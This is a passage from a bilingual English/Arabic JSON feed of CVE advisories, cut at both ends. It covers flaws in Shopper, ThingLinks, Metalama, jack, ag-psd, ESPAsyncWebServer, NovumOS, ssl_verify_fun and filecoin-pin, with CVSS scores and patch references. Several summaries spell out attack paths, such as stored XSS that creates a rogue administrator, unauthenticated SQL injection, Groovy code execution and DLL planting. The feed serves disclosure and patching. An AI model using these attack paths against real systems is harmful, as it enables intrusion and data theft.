مسار عمل `workflow_run` الممتاز بتنزيلها وتحميلها. نظرًا لأن `workflow_run` ليس لديه `event.pull_request`، يصبح `isForkPR` خطأ (false) و`uploadStatus` يصبح `pending-upload`. يقوم الإجراء لاحقًا بحل `workflow_run.pull_requests` دون تكرار فحص التفرع قبل تهيئة المحفظة باستخدام `walletPrivateKey` وتحميل الأداة المساعدة. لذلك، يمكن لمساهم خارجي التسبب في تخزين الأدوات المساعدة التي يتحكم فيها المهاجم باستخدام محفظة Filecoin الخاصة بمالك المستودع، مما يتكبد نفقات تخزين غير مصرح بها، وتلوث مجموعة البيانات، واستهلاك أموال المحفظة التي تم تكوينها. الكشف عن المفتاح الخاص للمحفظة غير مطلوب. خط إجراءات 0.x لا يتلقى تحديثاً خلفياً ويجب ترحيله إلى إصدار 1.x ثابت. تم إصلاح هذه المشكلة في الإصدار 1.1.0."},"refs":[["https://github.com/filecoin-project/filecoin-pin/commit/6fb9efd1796e64a3515dffaa45b262e03cbd197c","ref"],["https://github.com/filecoin-project/filecoin-pin/pull/588","ref"],["https://github.com/filecoin-project/filecoin-pin/security/advisories/GHSA-4rpx-vcp4-863j","ref"],["https://github.com/filecoin-project/filecoin-pin/tree/v1.1.0","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"filecoin-project-filecoin-pin"},{"id":"CVE-2026-40573","cvss":8.6,"vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-250","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:16:53Z","product":"MinecAnton209 NovumOS","affected":[],"title":{"en":"NovumOS: Nova Interpreter Privilege Escalation","ar":"NovumOS: تصعيد الصلاحيات في مفسر Nova"},"summary":{"en":"NovumOS is a custom 32-bit operating system written in Zig and x86 Assembly. Prior to version 0.25-beta.1, the `Nova` interpreter runs in Ring 0 with unrestricted kernel-memory access. Loading a malicious `.nv` script through the shell permits a local user to execute code with kernel privileges without security checks. The advisory identifies VM initialization in `zig/nova/vm.zig` as the affected component; script execution is not isolated in a restricted Ring 3 privilege domain. This issue is fixed in version 0.25-beta.1.","ar":"نظام التشغيل NovumOS هو نظام تشغيل مخصص 32-bit مكتوب بلغة Zig وثنائيات x86 Assembly. قبل الإصدار 0.25-beta.1، يعمل مفسر `Nova` في النطاق Ring 0 مع إمكانية وصول غير مقيدة إلى ذاكرة النواة. يسمح تحميل نص برمجي خبيث بصيغة `.nv` عبر غلاف الأوامر (shell) للمستخدم المحلي بتنفيذ الشيفرة بصلاحيات النواة دون خضوع لفحوصات الأمان. تحدد الاستشارية تهيئة الجهاز الافتراضي (VM initialization) في `zig/nova/vm.zig` على أنها المكون المتأثر؛ حيث لا يتم عزل تنفيذ النصوص البرمجية في نطاق صلاحيات Ring 3 المقيد. تم إصلاح هذه المشكلة في الإصدار 0.25-beta.1."},"refs":[["https://github.com/MinecAnton209/NovumOS/commit/ca3e7a6b4bcdcac23413d39ecf863b94e6a3a207","ref"],["https://github.com/MinecAnton209/NovumOS/security/advisories/GHSA-rq9v-wxp3-ffrr","ref"],["https://github.com/MinecAnton209/NovumOS/tree/v0.25-beta.1","ref"]],"epss":0.0013,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"minecanton209-novumos"},{"id":"CVE-2026-62990","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N","cwe":"CWE-79","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T21:05:51Z","product":"shopperlabs shopper","affected":[],"title":{"en":"Shopper: same-origin SVG and HTML uploads enable stored XSS and persistent administrator creation","ar":"Shopper: عمليات رفع ملفات SVG و HTML على نفس الأصل تمكن من استغلال XSS المخزنة وإنشاء حساب مسؤول دائم"},"summary":{"en":"Shopper is a Headless e-commerce Admin Panel. In versions from 2.0.0 prior to 2.10.1 and in the 3.0.0 prereleases beta.1 and beta.2, authenticated back-office staff with a content-upload permission can store executable media on the administrator's own origin. In the 2.x implementation, relevant upload permissions include `edit_products` or `add_brands`, and `packages/admin/config/media.php` allows `image/svg+xml` in every media collection, including image fields whose image/* validation also accepts SVG. The product files collection in `packages/admin/src/Livewire/Components/Products/Form/Files.php` has no MIME restriction and accepts `text/html` as well. Media is served inline from the `public` disk under `/storage/` with its own content type, without `Content-Disposition: attachment` or a `Content-Security-Policy`. When an administrator opens an uploaded HTML or SVG file, stored script executes in that administrator's session. In 2.x, the script can invoke `packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php`, whose `store()` checks `access_setting` held by the viewing administrator but trusts client-supplied `role_id`, to create a new attacker-controlled administrator with a chosen password. This account persists after the uploaded file is deleted and gives access to customer data, orders, settings, and user/role management; the same script can exfiltrate data or grant permissions to the attacker's account. Direct account creation by the low-privileged uploader is blocked, so exploitation requires the administrator to open the file. The 3.x prerelease line already excludes SVG but still allows executable product files. This issue is fixed in versions 2.10.1 and 3.0.0-beta.3.","ar":"Shopper هي لوحة إدارية بدون واجهة خلفية (Headless) للتجارة الإلكترونية. في الإصدارات من 2.0.0 وقبل 2.10.1 وفي الإصدارات المسبقة 3.0.0 beta.1 و beta.2، يمكن لموظفي المكتب الخلفي المصادق عليهم والذين يمتلكون إذن رفع المحتوى تخزين وسائط قابلة للتنفيذ على الأصل الخاص بالمسؤول نفسه. في تطبيق 2.x، تتضمن أذونات الرفع ذات الصلة `edit_products` أو `add_brands`، ويسمح `packages/admin/config/media.php` بنوع `image/svg+xml` في كل مجموعة وسائط، بما في ذلك حقول الصور التي يقبل التحقق من صحتها image/* ملفات SVG أيضًا. لا تحتوي مجموعة ملفات المنتجات في `packages/admin/src/Livewire/Components/Products/Form/Files.php` على قيود MIME وتُقبل ملفات `text/html` أيضًا. يتم تقديم الوسائط مضمنة من قرص `public` تحت المسار `/storage/` بنوع المحتوى الخاص بها، دون وجود `Content-Disposition: attachment` أو `Content-Security-Policy`. عندما يفتح المسؤول ملف HTML أو SVG مرفوعًا، يتم تنفيذ الشيفرة البرمجية المخزنة داخل جلسة ذلك المسؤول. في الإصدار 2.x، يمكن للشيفرة استدعاء `packages/admin/src/Livewire/SlideOvers/CreateTeamMember.php` الذي يتحقق دالة `store()` فيه من إذن `access_setting` الذي يمتلكه المسؤول المشاهد، لكنه يثق في `role_id` المُقدم من العميل، لإنشاء حساب مسؤول جديد يخضع لسيطرة المهاجم مع كلمة سر مختارة. يستمر هذا الحساب بعد حذف الملف المرفوع ويمنح إمكانية الوصول إلى بيانات العملاء والطلبات والإعدادات وإدارة المستخدمين والأدوار؛ كما يمكن لنفس الشيفرة تسريب البيانات أو منح أذونات لحساب المهاجم. يتم حظر إنشاء الحساب المباشر بواسطة مستخدم الرفع ذي الصلاحيات المنخفضة، لذا يتطلب استغلال الثغرة فتح الملف بواسطة المسؤول. تلغي سلسلة الإصدارات المسبقة 3.x بالفعل ملفات SVG ولكنها لا تزال تسمح بملفات المنتجات القابلة للتنفيذ. تم إصلاح هذه المشكلة في الإصدارات 2.10.1 و 3.0.0-beta.3."},"refs":[["https://github.com/shopperlabs/shopper/security/advisories/GHSA-vmvv-x5cp-2qv6","ref"],["https://github.com/shopperlabs/shopper/pull/595","ref"],["https://github.com/shopperlabs/shopper/pull/597","ref"],["https://github.com/shopperlabs/shopper/commit/12be681db5f603a364d5f03f1974ff2a20e99b99","ref"],["https://github.com/shopperlabs/shopper/commit/ad2c5b9b968ff49c37130c6b9d1dba7f20eebbf6","ref"],["https://github.com/shopperlabs/shopper/compare/v3.0.0-beta.1...v3.0.0-beta.3","ref"],["https://github.com/shopperlabs/shopper/releases/tag/v2.10.1","ref"],["https://github.com/shopperlabs/shopper/releases/tag/v3.0.0-beta.3","ref"]],"epss":0.0024,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"shopperlabs-shopper"},{"id":"CVE-2026-62297","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-789","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:57:06Z","product":"Agamnentzar ag-psd","affected":[],"title":{"en":"ag-psd has uncontrolled memory allocation via declared PSD dimensions (DoS)","ar":"ag-psd يحتوي على تخصيص ذاكرة غير محكوم عبر أبعاد PSD المعلنة (حجب الخدمة)"},"summary":{"en":"ag-psd is a JavaScript library for reading and writing Photoshop Document files. Before the allocation-limit remediation attempt in version 31.0.0, `readPsd()` commits image and layer buffers from attacker-declared PSD geometry before validating the declarations against the actual available data or sane allocation limits. The `psdReader.js` implementation sizes off-heap typed arrays using `width`, `height`, `channels`, `depth` and `per-layer rectangles`, so a tiny PSD declaring enormous geometry can force multi-gigabyte memory allocation before a later bounds error. The reported 52-byte input on Node 24 produced approximately 3.17 GB peak RSS before a RangeError; under memory pressure the process can be terminated before the error can be caught, and concurrent inputs can exhaust memory. Services reading untrusted PSDs are exposed to denial of service. This differs from genuinely large PSD files whose memory demand is proportional to real input content. Version 31.0.0 adds a composite-image allocation limit, but complete coverage of the separately described layer-rectangle allocation path is not established and requires curator residual/scope review.","ar":"مكتبة ag-psd هي مكتبة JavaScript لقراءة وكتابة ملفات Photoshop Document. قبل محاولة معالجة حد التخصيص في الإصدار 31.0.0، تقوم دالة `readPsd()` بتخصيص مخازن الذاكرة المؤقتة للصور والطبقات بناءً على أبعاد PSD المعلنة من المهاجم قبل التحقق من صحة الإعلانات مقابل البيانات الفعلية المتاحة أو حدود التخصيص السليمة. يقوم تطبيق `psdReader.js` بتحديد أحجام مصفوفات typed arrays خارج المكدس باستخدام `width` و `height` و `channels` و `depth` و `per-layer rectangles`، بحيث يمكن لملف PSD صغير الحجم يعلن عن أبعاد ضخمة جداً أن يجبر النظام على تخصيص عدة جيجابايت من الذاكرة قبل حدوث خطأ حدود لاحق. أدى إدخال بحجم 52 بايت تم الإبلاغ عنه على Node 24 إلى إنتاج ذروة استخدام ذاكرة (RSS) تبلغ حوالي 3.17 جيجابايت قبل حدوث RangeError؛ وتحت ضغط الذاكرة يمكن إنهاء العملية قبل التمكن من التقاط الخطأ، كما يمكن للإدخالات المتزامنة أن تستنفد الذاكرة. تتعرض الخدمات التي تقرأ ملفات PSD غير الموثوقة لخطر حجب الخدمة. يختلف هذا عن ملفات PSD الكبيرة حقًا التي يتناسب استهلاكها للذاكرة مع المحتوى الفعلي للإدخال. يضيف الإصدار 31.0.0 حدًا لتخصيص الصور المركبة، لكن التغطية الكاملة لمسار تخصيص مستطيلات الطبقات الموصوف بشكل منفصل لم تتأكد وتتطلب مراجعة النطاق المتبقي من قبل المشرفين."},"refs":[["https://github.com/Agamnentzar/ag-psd/security/advisories/GHSA-qfx6-q44v-9qqw","ref"],["https://github.com/Agamnentzar/ag-psd/commit/2d7da68400990bae8ba248a065eb45021fa8000a","ref"],["https://github.com/Agamnentzar/ag-psd/tree/31.0.0","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"agamnentzar-ag-psd"},{"id":"CVE-2026-62979","cvss":8.4,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:N","cwe":"CWE-200","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:55:56Z","product":"roziscoding jack","affected":[],"title":{"en":"jack: upstream error responses expose backend and peer credentials","ar":"jack: استجابات الأخطاء من المصدر تكشف بيانات اعتماد الخادم الخلفي والأقران"},"summary":{"en":"jack lets users share media libraries through their Radarr/Sonarr stack, peer-to-peer. Prior to 0.1.0, `middleware/handle-error.ts` serializes raw `FetchError` objects into HTTP responses. `lib/servers/base.ts` attaches outbound request headers on upstream non-success responses and schema-validation failures; the public `extras` field in `lib/errors/FetchError.ts` remains enumerable and is emitted by JSON serialization. These headers include the internal Radarr/Sonarr `X-Api-Key` and custom connector headers such as `CF-Access-Client-Secret`. `lib/redact.ts` redacts logs and spans but not this response path. Any client with the shared peer API key, plus Cloudflare Access credentials if required by the deployment, can force an error without a race or user interaction. `GET /peer/items/:id` and `GET /servers/health` can expose the internal media-server key, while `GET /torznab/download/:id` can expose another peer's key and Cloudflare Access secrets. The /peer/search and /items routes catch these errors and are not affected. Disclosed internal keys grant full administrative control of the corresponding Radarr/Sonarr instance, crossing the intended boundary between friends' shared peer access and private backend credentials. This issue is fixed in version 0.1.0.","ar":"يتيح تطبيق jack للمستخدمين مشاركة مكتبات الوسائط عبر حزمة Radarr/Sonarr الخاصة بهم بطريقة الند للند (peer-to-peer). قبل الإصدار 0.1.0، يقوم الملف `middleware/handle-error.ts` بتسلسل كائنات `FetchError` الخام إلى استجابات HTTP. يرفق `lib/servers/base.ts` ترويسات الطلبات الصادرة في استجابات عدم النجاح من المصدر وأخطاء التحقق من مخطط البيانات (schema)؛ ويظل الحقل العام `extras` في `lib/errors/FetchError.ts` قابلاً للتعداد ويتم إصداره بواسطة تسلسل JSON. تتضمن هذه الترويسات مفتاح `X-Api-Key` الداخلي لـ Radarr/Sonarr وترويسات الموصلات المخصصة مثل `CF-Access-Client-Secret`. يقوم `lib/redact.ts` بتنقيح السجلات والنطاقات الزمانية ولكن ليس مسار الاستجابة هذا. يمكن لأي عميل يمتلك مفتاح API الخاص بالأقران المشارك، بالإضافة إلى بيانات اعتماد Cloudflare Access إذا كان انتشار التطبيق يتطلب ذلك، فرض حدوث خطأ دون سباق أو تفاعل من المستخدم. يمكن للأوامر `GET /peer/items/:id` و `GET /servers/health` كشف مفتاح خادم الوسائط الداخلي، بينما يمكن للأمر `GET /torznab/download/:id` كشف مفتاح أقران آخر وأسرار Cloudflare Access. التوجيهات /peer/search و /items تلتقط هذه الأخطاء ولا تتأثر. تمنح المفاتيح الداخلية المكتشفة تحكماً إدارياً كاملاً في خادم Radarr/Sonarr المقابل، مما يتجاوز الحد المقصود بين وصول الأقران المشارك للأصدقاء وبيانات الاعتماد الخاصة بالخلفية. تم إصلاح هذه المشكلة في الإصدار 0.1.0."},"refs":[["https://github.com/roziscoding/jack/security/advisories/GHSA-8gw5-7585-4997","ref"],["https://github.com/roziscoding/jack/commit/2b296b5137acca476f34a23b692dd8c04ae1f148","ref"],["https://github.com/roziscoding/jack/releases/tag/v0.1.0","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roziscoding-jack"},{"id":"CVE-2026-62966","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-476","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:53:37Z","product":"ESP32Async ESPAsyncWebServer","affected":[],"title":{"en":"ESPAsyncWebServer multipart parser has null-pointer write","ar":"ESPAsyncWebServer يحتوي المحلل متعدد الأجزاء (multipart parser) فيه على كتابة عبر مؤشر فارغ"},"summary":{"en":"ESPAsyncWebServer is an asynchronous HTTP and WebSocket server library for ESP32, ESP8266, RP2040 and RP2350. Prior to version 3.11.2, the multipart parser in `src/WebRequest.cpp` frees `_itemBuffer` and sets it to NULL when `BOUNDARY_OR_DATA` matches the closing boundary of a file part, before confirming the following terminator, while leaving `_itemIsFile` true. If the next byte is neither the final closing dashes nor a clean CRLF, the `DASH3_OR_RETURN2` or `EXPECT_FEED2` rewind branch re-injects provisionally consumed bytes through `itemWriteByte`. Because `_itemIsFile` remains true, `_itemBuffer`[`_itemBufferIndex`++] writes through a null pointer. On ESP32 this causes a `StoreProhibited` exception, panic and device reboot, producing remote denial of service. A route with a non-trivial body/upload handler, such as a file-upload or web-OTA endpoint, must be present. This issue is fixed in version 3.11.2.","ar":"مكتبة ESPAsyncWebServer هي مكتبة خادم HTTP و WebSocket غير متزامنة لأجهزة ESP32 و ESP8266 و RP2040 و RP2350. قبل الإصدار 3.11.2، يقوم المحلل متعدد الأجزاء في `src/WebRequest.cpp` بتحرير `_itemBuffer` وضبطه على NULL عندما يطابق `BOUNDARY_OR_DATA` الحد الخاتم لجزء الملف، وذلك قبل التأكد من المنهي التالي، مع ترك `_itemIsFile` بقيمة true. إذا لم يكن البايت التالي هو الشرطات الخاتمة النهائية ولا CRLF نظيف، فإن فرع التراجع `DASH3_OR_RETURN2` أو `EXPECT_FEED2` يعيد حقن البايتات المستهلكة مؤقتًا عبر `itemWriteByte`. ولأن `_itemIsFile` يظل صحيحًا (true)، فإن `_itemBuffer`[`_itemBufferIndex`++] يقوم بالكتابة عبر مؤشر فارغ (null pointer). على أجهزة ESP32، يتسبب هذا في استثناء `StoreProhibited` وهلع للفرز وإعادة تشغيل الجهاز، مما يؤدي إلى حجب الخدمة عن بُعد. يجب وجود مسار يحتوي على معالج رفع/جسم غير تافه، مثل نقطة نهاية رفع الملفات أو web-OTA. تم إصلاح هذه المشكلة في الإصدار 3.11.2."},"refs":[["https://github.com/ESP32Async/ESPAsyncWebServer/security/advisories/GHSA-8m8p-vhxc-jmjw","ref"],["https://github.com/ESP32Async/ESPAsyncWebServer/commit/4efbd35e597d91f01749f2d4a14bb78fba8ea02e","ref"],["https://github.com/ESP32Async/ESPAsyncWebServer/tree/v3.11.2","ref"]],"epss":0.0043,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"esp32async-espasyncwebserver"},{"id":"CVE-2026-62849","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:29:16Z","product":"mqttsnet thinglinks","affected":[],"title":{"en":"ThingLinks TDengine TDS APIs vulnerable to unauthenticated SQL injection","ar":"ThingLinks: واجهات برمجة تطبيقات TDengine TDS APIs عرضة لثغرة حقن SQL دون مصادقة"},"summary":{"en":"ThingLinks is an enterprise IoT platform. Prior to 1.4.0, an unauthenticated SQL injection vulnerability in the `TDengine TDS APIs` allows request-controlled JSON field values submitted to `/anyUser/tds/insertTableData` to reach unsafe SQL construction in the `TDS mapper`. A remote unauthenticated attacker can tamper with TDengine time-series data, including inserting unintended rows or overwriting existing readings. The affected surface is the TDS module's insert-table-data flow and TDengine mapper SQL generation. This issue is fixed in version 1.4.0.","ar":"منصة ThingLinks هي منصة إنترنت الأشياء للمؤسسات. قبل الإصدار 1.4.0، تؤدي ثغرة حقن SQL دون مصادقة في `TDengine TDS APIs` إلى السماح لقيم حقول JSON الخاضعة لسيطرة الطلب والمقدمة إلى `/anyUser/tds/insertTableData` بالوصول إلى بناء SQL غير آمن في `TDS mapper`. يمكن للمهاجم عن بُعد دون مصادقة التلاعب ببيانات السلاسل الزمنية لـ TDengine، بما في ذلك إدراج صفوف غير مقصودة أو الكتابة فوق القراءات الموجودة. السطح المتأثر هو تدفق إدراج بيانات الجدول في وحدة TDS وإنشاء استعلامات SQL في TDengine mapper. تم إصلاح هذه المشكلة في الإصدار 1.4.0."},"refs":[["https://github.com/mqttsnet/thinglinks/security/advisories/GHSA-gcj7-r5wv-348x","ref"],["https://github.com/mqttsnet/thinglinks/commit/60e7a934753638f916a665d2d24c4377344c7599","ref"],["https://github.com/mqttsnet/thinglinks/releases/tag/v1.4.0","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mqttsnet-thinglinks"},{"id":"CVE-2026-62853","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-78","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:28:07Z","product":"mqttsnet thinglinks","affected":[],"title":{"en":"ThingLinks vulnerable to authenticated remote code execution via Groovy script registration in ThingLinks","ar":"ThingLinks عرضة لثغرة تنفيذ أوامر عن بُعد عبر تسجيل نصوص Groovy البرمجية"},"summary":{"en":"ThingLinks is an enterprise IoT platform. Prior to 1.4.0, the `/groovyScriptTest/registerScript` endpoint accepts user-supplied Groovy script content and passes it to an unsandboxed `Groovy compilation and loading` flow. An authenticated attacker can provide code that is compiled and instantiated on the server, resulting in arbitrary server-side code execution. The issue affects the `rule engine`'s Groovy script test/register flow. This issue is fixed in version 1.4.0.","ar":"منصة ThingLinks هي منصة إنترنت الأشياء للمؤسسات. قبل الإصدار 1.4.0، تقبل نقطة النهاية `/groovyScriptTest/registerScript` محتوى نص Groovy البرمجي المقدم من المستخدم وتمرره إلى تدفق `Groovy compilation and loading` غير المعزول في بيئة تجريبية (unsandboxed). يمكن لمهاجم يملك حسابًا مصادقًا عليه تقديم شيفرة يتم تجميعها وإنشاؤها على الخادم، مما يؤدي إلى تنفيذ شيفرة عشوائية على جانب الخادم. تؤثر المشكلة على تدفق اختبار/تسجيل نصوص Groovy البرمجية في `rule engine`. تم إصلاح هذه المشكلة في الإصدار 1.4.0."},"refs":[["https://github.com/mqttsnet/thinglinks/security/advisories/GHSA-9vph-5ccx-qp9v","ref"],["https://github.com/mqttsnet/thinglinks/commit/311ee760dad798f48652722989fcea02349e13a3","ref"],["https://github.com/mqttsnet/thinglinks/releases/tag/v1.4.0","ref"]],"epss":0.0041,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mqttsnet-thinglinks"},{"id":"CVE-2026-62847","cvss":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-377","tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:23:50Z","product":"metalama Metalama","affected":[],"title":{"en":"Metalama: Local code execution via DLL planting in world-writable temporary directories (Linux/macOS)","ar":"Metalama: تنفيذ شيفرة محلي عبر غرس ملفات DLL في أدلة مؤقتة قابلة للكتابة من الجميع (Linux/macOS)"},"summary":{"en":"Metalama is a Roslyn-based open-source patterns and architecture toolkit for C#. Prior to 2025.1.18, 2026.0.25 and 2026.1.19, Metalama.Framework and Metalama.Tool load and execute compile-time assemblies, auxiliary executable tools and embedded helper assemblies from predictable temporary directories. On `Linux` and `macOS`, the default `Path.GetTempPath()` location is world-writable, and existing artifacts are trusted based on sentinel or `.completed` marker files rather than integrity verification. A local unprivileged user on a shared machine or CI/build agent can pre-create the deterministic directory structure and plant a malicious DLL with the matching sentinel. When a higher-privileged developer or build account subsequently builds, Metalama skips regeneration and executes the planted artifact in the compiler, IDE or MSBuild process as the building user. This permits cross-user privilege escalation, reading source and secrets, supply-chain tampering with build output, or disrupting builds. Default Windows per-user temporary directories are protected by ACLs and are not affected. Deployer-selected insecure cache locations are outside the vulnerability's scope. This issue is fixed in versions 2025.1.18, 2026.0.25 and 2026.1.19.","ar":"مجموعة أدوات Metalama هي مجموعة أدوات مفتوحة المصدر للأنماط والبنية المعمارية لغة C# وتعتمد على Roslyn. قبل الإصدارات 2025.1.18 و 2026.0.25 و 2026.1.19، تقوم Metalama.Framework و Metalama.Tool بتحميل وتنفيذ تجميعات وقت التصريف (compile-time assemblies) والأدوات التنفيذية المساعدة والتجميعات المساعدة المضمنة من أدلة مؤقتة قابلة للتوقع. على نظامي `Linux` و `macOS`، يكون موقع `Path.GetTempPath()` الافتراضي قابلاً للكتابة من قبل الجميع، وتتم الثقة بالعناصر الموجودة بناءً على ملفات الحراسة (sentinel) أو ملفات الإشارة `.completed` بدلاً من التحقق من النزاهة. يمكن للمستخدم المحلي غير المميز على جهاز مشترك أو وكيل بناء/CI إنشاء هيكل الدليل المحدد مسبقًا وغرس مكتبة DLL خبيثة تحتوي على ملف الحراسة المطابق. وعندما يقوم مطور ذو صلاحيات أعلى أو حساب بناء لاحقًا بعملية البناء، تتخطى Metalama إعادة الإنشاء وتنفذ العنصر المغروس داخل المترجم (compiler) أو بيئة التطوير (IDE) أو عملية MSBuild باسم مستخدم البناء. يتيح ذلك تصعيد الصلاحيات بين المستخدمين، أو قراءة المصادر والأسرار، أو التلاعب بسلسلة التوريد لمخرجات البناء، أو تعطيل عمليات البناء. تُحمى الأدلة المؤقتة الافتراضية لكل مستخدم على نظام Windows بواسطة قوائم التحكم بالوصول (ACLs) ولا تتأثر. تعتبر مواقع التخزين المؤقت غير الآمنة التي يحددها المسؤول خارج نطاق الثغرة. تم إصلاح هذه المشكلة في الإصدارات 2025.1.18 و 2026.0.25 و 2026.1.19."},"refs":[["https://github.com/metalama/Metalama/security/advisories/GHSA-m6wq-39m7-9xpp","ref"],["https://github.com/metalama/Metalama/pull/1650","ref"],["https://github.com/metalama/Metalama/commit/09911349a916e82194b1cfaa6d0a38acad928fc9","ref"],["https://github.com/metalama/Metalama/commit/92c4feecfce86d18fcb007ab6d3a1b4383326a2e","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2025.1.18","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2026.0.25","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2026.1.19","ref"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"metalama"},{"id":"CVE-2026-117666","cvss":9.1,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N","cwe":"CWE-297","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:22:16Z","product":"deadtrickster ssl_verify_fun","affected":[["1.0.1 – <1.1.8","1.1.8"]],"title":{"en":"ssl_verify_fun: partial-label wildcard certificate matches hostnames across a label boundary","ar":"ssl_verify_fun: شهادة البدل ذات التسمية الجزئية تطابق أسماء المضيفين عبر حدود التسمية"},"summary":{"en":"Improper Validation of Certificate with Host Mismatch vulnerability in deadtrickster ssl_verify_fun allows an adversary in the middle to impersonate a TLS peer via a certificate that carries a partial-label wildcard. try_match_wildcard/4 in src/ssl_verify_hostname.erl anchors only the text before and after the * of an identifier such as f*.example.net, so the wildcard also consumes dots and the certificate is accepted for f.evil.example.net. RFC 6125 confines a wildcard to the left-most label. The same matcher lets *.168.1.1 match the IP literal 192.168.1.1. Whole-label wildcards are matched correctly. Erlang/OTP 20.0 and later check the hostname in ssl before a user verify_fun sees valid_peer, so a client that keeps server_name_indication set rejects the mismatch regardless. Exposed are clients that disable SNI, servers that verify client certificate hostnames with this library, and direct callers of verify_cert_hostname/2. This issue affects ssl_verify_fun: from 1.0.1 before 1.1.8.","ar":"تسمح ثغرة التحقق غير السليم من الشهادة عند عدم تطابق المضيف في deadtrickster ssl_verify_fun للمهاجم في المنتصف بانتحال صفة قرين TLS عبر شهادة تحمل رمز بدل (wildcard) بتسمية جزئية. تقوم الدالة try_match_wildcard/4 في src/ssl_verify_hostname.erl بتثبيت النص فقط قبل وبعد النجمة * لمعرف مثل f*.example.net، ولذلك يستهلك رمز البدل النقط أيضًا وتُقبل الشهادة لـ f.evil.example.net. يحدد RFC 6125 رمز البدل بالتسمية الأكثر يسارًا فقط. يتيح نفس المطابق لـ *.168.1.1 مطابقة عنوان IP الصريح 192.168.1.1. يتم مطابقة رموز البدل التامة للتسمية بشكل صحيح. يتحقق Erlang/OTP 20.0 وما بعده من اسم المضيف في ssl قبل أن ترى verify_fun الخاصة بالمستخدم valid_peer، لذا فإن العميل الذي يبقي server_name_indication مفعلًا يرفض عدم التطابق بغض النظر عن ذلك. العملاء المعرضون هم أولئك الذين يعطلون SNI، والخوادم التي تتحقق من أسماء مضيفي شهادات العملاء باستعمال هذه المكتبة، والمستدعون المباشرون لـ verify_cert_hostname/2. تؤثر هذه المشكلة على ssl_verify_fun: من 1.0.1 وقبل 1.1.8."},"refs":[["https://github.com/deadtrickster/ssl_verify_fun.erl/pull/33","patch"],["https://github.com/deadtrickster/ssl_verify_fun.erl/commit/ca34031299cd2e0c98794c0da4ba556b94e39aad","patch"],["https://github.com/deadtrickster/ssl_verify_fun.erl/security/advisories/GHSA-7gw2-hphm-c5px","advisory"],["https://cna.erlef.org/cves/CVE-2026-117666.html","ref"],["https://osv.dev/vulnerability/EEF-CVE-2026-117666","ref"],["https://github.com/deadtrickster/ssl_verify_fun.erl/commit/a49ca56923356c7a3981692b23c42ef32c2990e0","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"deadtrickster-ssl-verify-fun"},{"id":"CVE-2026-62848","cvss":7.3,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-502","tags":["RCE","LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:19:55Z","product":"metalama Metalama","affected":[[">= 2026.1.0-preview, < 2026.1.19","2026.1.19"],["< 2025.1.18","2025.1.18"],[">= 2026.0.1-preview, < 2026.0.25","2026.0.25"]],"title":{"en":"Metalama's Visual Studio inter-process named pipe allows unsafe deserialization that enables local code execution","ar":"الأنبوب المسمى بين العمليات لـ Metalama في Visual Studio يسمح بإلغاء تسلسل غير آمن يتيح تنفيذ شيفرة محلي"},"summary":{"en":"Metalama is a Roslyn-based open-source patterns and architecture toolkit for C#. From 2023.0.101-rc until 2025.1.18, 2026.0.25 and 2026.1.19, the Windows Visual Studio integration deserializes local named-pipe messages without restricting which CLR types can be instantiated. The pipe connects `devenv`, the out-of-process Roslyn code-analysis process and the `CodeLens` process, and has the predictable name 